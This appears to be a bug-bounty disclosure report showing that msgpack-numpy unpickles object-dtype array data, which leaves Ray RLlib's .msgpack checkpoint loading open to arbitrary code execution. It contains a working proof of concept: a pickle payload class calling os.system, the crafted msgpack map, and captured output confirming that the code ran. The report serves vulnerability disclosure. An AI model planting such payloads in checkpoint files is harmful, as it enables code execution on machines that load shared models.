YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
MessagePack (.msgpack) Model-Format Security Audit β huntr "Model File Format" track
Date: 2026-07-08 Scope: MessagePack (.msgpack) as used for ML model/tensor/checkpoint serialization (flax.serialization, msgpack_numpy, and consumers of msgpack_numpy such as Ray RLlib).
Result: NOVEL, REPRODUCIBLE FINDING (Arbitrary Code Execution)
Root cause
File: msgpack_numpy.py (package msgpack-numpy 0.4.8, installed at
/home/kali/hunt-workspace/msgpack-model-audit/venv/lib/python3.13/site-packages/msgpack_numpy.py)
Function decode(), lines 84-115. Relevant lines:
84 def decode(obj, chain=None):
...
89 try:
90 if b'nd' in obj:
91 if obj[b'nd'] is True:
96 if b'kind' in obj and obj[b'kind'] == b'V':
97 descr = ...
99 elif b'kind' in obj and obj[b'kind'] == b'O':
100 return pickle.loads(obj[b'data']) # <-- unconditional pickle.loads on attacker bytes
101 else:
102 descr = obj[b'type']
decode() is installed as the msgpack object_hook for every map value encountered during
unpacking (see Unpacker.__init__ around line 237, and unpack()/unpackb() wrappers at
lines 271-287, all of which wrap object_hook with functools.partial(decode, chain=object_hook)).
Any msgpack map that merely contains the keys nd: True, kind: 'O', and data: <bytes> β a
structure meant to represent a numpy object-dtype array β causes the library to call
pickle.loads() directly on the attacker-supplied data bytes, with no validation, no
allow-list, and no way to opt out. This reintroduces full pickle-deserialization RCE inside a
format (.msgpack) that downstream ML tooling treats as a safe, non-code-executing
alternative to pickle.
msgpack_numpy.patch() (lines 294-308) is the standard integration path: it monkey-patches
msgpack.Packer/Unpacker/pack/unpack/packb/unpackb so that any code calling the
ordinary msgpack module after patch() silently inherits this behavior.
Confirmed real-world consumer: Ray RLlib checkpoints
ray/rllib/utils/checkpoints.py (from ray-project/ray, master branch, fetched fresh):
try_import_msgpack()(line ~1050-1073) does exactlyimport msgpack_numpy; msgpack_numpy.patch(); return msgpack.- Checkpoint save path (line ~322-324):
msgpack = try_import_msgpack(error=True); msgpack.dump(state, f). - Checkpoint load path (line ~403-408):
if filename.with_suffix(".msgpack").is_file(): msgpack = try_import_msgpack(error=True); state = msgpack.load(f, strict_map_key=False).
This is RLlib's .msgpack/.msgpck "algorithm_state" / policy checkpoint format
(convert_to_msgpack_checkpoint, convert_to_msgpack_policy_checkpoint, and the default
save/restore path when use_msgpack=True). Loading such a checkpoint calls exactly the
vulnerable decode() path.
Executed repro (real code execution captured)
Two PoC scripts, both executed successfully:
poc/repro.pyβ callsmsgpack_numpy.unpackb()directly on a crafted 110-byte blob.poc/repro_rllib_path.pyβ mirrors RLlib's exact call sequence (msgpack_numpy.patch()thenmsgpack.dump(state, f)/msgpack.load(f, strict_map_key=False)) against a file named like a real RLlib checkpoint (algorithm_state.msgpack).
Payload construction:
class Evil:
def __reduce__(self):
return (os.system, ('id > /tmp/rllib_pwned.txt',))
payload = pickle.dumps(Evil())
malicious_state = {"worker": {b'nd': True, b'type': [], b'kind': b'O',
b'shape': (1,), b'data': payload}}
Captured output of repro_rllib_path.py:
Loaded state: {'worker': 0}
pwned file exists: True
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),
27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),
118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
i.e. simply loading a 100-ish-byte crafted .msgpack checkpoint file executed
os.system('id > /tmp/rllib_pwned.txt') on the victim machine β full arbitrary code
execution at model/checkpoint load time, no other interaction required.
Environment: Python 3.13.12, msgpack 1.2.1, msgpack-numpy 0.4.8, numpy 2.5.1
(installed fresh in /home/kali/hunt-workspace/msgpack-model-audit/venv).
flax.serialization β checked, NOT vulnerable to this class of bug
flax/serialization.py (flax 0.12.7) implements its own ext-type hook
(_msgpack_ext_pack / _msgpack_ext_unpack, lines 278-314) restricted to exactly three
IntEnum codes (ndarray=1, native_complex=2, npscalar=3), all of which route only through
np.frombuffer / np.dtype(name) β no pickle, no arbitrary ext dispatch, unrecognized
ext codes just come back as an inert msgpack.ExtType(code, data) object. No reproducible bug
found here (dtype-name arg to np.dtype() was tested with garbage/huge strings; it only ever
raises TypeError/ValueError, no OOB read).
Dedup check performed
- OSV.dev API queries for PyPI packages
msgpack-numpyβ 0 vulns;flaxβ 0 vulns;msgpackβ 1 unrelated advisory,GHSA-6v7p-g79w-8964/CVE-2026-57585 (Unpacker-reuse use-after-error SEGV/DoS, fixed in 1.2.1, already patched in installed version, unrelated to this pickle-fallback issue). - Other msgpack CVEs found via search (all unrelated implementations/issues): CVE-2021-23410 (old msgpack-python unpack RCE via unsafe default, long fixed), CVE-2024-48924 (msgpack-java), CVE-2026-21452/GHSA-cw39-r4h6-8j3x (msgpack-java EXT32 DoS), CVE-2026-28277/GHSA-g48c-2wqr-h844 (LangGraph checkpoint pickle-fallback RCE β same class of bug in a different project, confirming this pickle-fallback pattern is a recognized, rewarded vulnerability class, but a distinct codebase/report).
- Snyk advisory DB for
msgpack-numpy: explicitly "No direct vulnerabilities found." - GitHub issue lebedov/msgpack-numpy#46 discusses the feature (object arrays round-tripped via pickle) as a compatibility bug report, not a security advisory β no CVE/GHSA ever filed on it.
- huntr.com hacktivity/site search: no disclosed report found for msgpack, msgpack-numpy, or flax serialization (direct hacktivity search returned 404 for the query form used; general web search of huntr.com found no matching disclosed bounty).
- No GitHub Security Advisory exists for
lebedov/msgpack-numpy(repo's Security tab has no advisories) or forray-project/raycovering this specific RLlib msgpack-checkpoint path.
Severity assessment (honest)
- Impact: full arbitrary code execution at model/checkpoint load time β matches huntr's top-tier "Arbitrary Code Execution" category exactly.
- Reach:
msgpack_numpyis a widely-depended-on serialization shim (used directly by Ray RLlib for.msgpackpolicy/algorithm checkpoints, and packaged/recommended in various ML tutorials/repos as "the safe way to msgpack-serialize numpy arrays"). Any project thatpip install msgpack-numpyand calls.patch()(RLlib's documented pattern) inherits this. - Caveat: this is an intentional, documented feature of msgpack-numpy (object-dtype arrays are pickled by design, per issue #46) β i.e. it is a real, unfixed, exploitable design flaw, not a memory-safety bug, and it requires the victim's msgpack-numpy-patched loader to process attacker-supplied bytes (the standard "share this checkpoint" scenario, same trust model as every other pickle-in-a-model-file bounty huntr already pays for). No CVE/advisory currently covers it for msgpack-numpy or for RLlib's specific use of it β this is the "AI/ML model file parsing" instance of the general pickle-in-msgpack-fallback class that GHSA-g48c-2wqr-h844 (LangGraph) demonstrates huntr/GitHub treat as reportable.
- Recommended severity for huntr submission: High (ACE at load time, trivial PoC, real downstream ML consumer identified).
Files
poc/repro.pyβ minimal directmsgpack_numpy.unpackb()RCE repro.poc/repro_rllib_path.pyβ RLlib-call-path-faithful RCE repro (patch()+msgpack.dump/msgpack.load).rllib_checkpoints.pyβ fetched copy ofray/rllib/utils/checkpoints.py(master) used for line citations.
Independent re-verification (2026-07-30)
Re-run from a clean checkout by a second party, fresh venv, current PyPI releases
(msgpack 1.2.1, msgpack-numpy 0.4.8, numpy 2.5.1, python 3.13). poc/repro_rllib_path.py
β which mirrors RLlib's exact call sequence (msgpack_numpy.patch(), then
msgpack.load(f, strict_map_key=False) on a file named algorithm_state.msgpack) β
reproduced real code execution verbatim:
Loaded state: {'worker': 0}
pwned file exists: True
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),...
Honest caveats (added on re-verification β read before triaging)
- The
pickle.loads()call is documented, intended behaviour ofmsgpack-numpy. Its own package README states that numpy arrays with dtype'O'are serialized/deserialized using pickle. So this should NOT be read as an unintended bug inmsgpack-numpy; the maintainer made a deliberate design choice. - The security-relevant claim is narrower and is about the file format as consumed: a
.msgpackfile is widely treated (including by Ray RLlib, which offers msgpack checkpoints as the portable/less-pickle-dependent option) as a data-only, non-code-executing serialization format, yet a msgpack map carrying{nd: True, kind: 'O', data: <bytes>}yields full pickle RCE on load, with no allow-list and no opt-out oncemsgpack_numpy.patch()has been called. The defect is the combination: RLlib globally patches msgpack and then loads checkpoint files that a user may have obtained from a third party. - Dedup status (re-checked 2026-07-30): OSV has no advisories for
msgpack-numpy. Ray has 22 advisories; the two in the same class areGHSA-hhrp-gw25-jr43(ACE viaray.data.read_webdatasetdefault decoderpickle.loads) andGHSA-mw35-8rx3-xf9r(RCE via Parquet Arrow extension type deserialization). Neither covers the RLlibcheckpoints.pymsgpack path, so this is not a duplicate β but it is the same recurring pickle-on-data-path pattern in Ray, and a triager may reasonably group it with those. - Ray's documented threat model treats cluster inputs as trusted in places; if the triager considers "load only checkpoints you trust" to be the intended contract, this may be closed as by-design. That risk is stated up front rather than glossed over.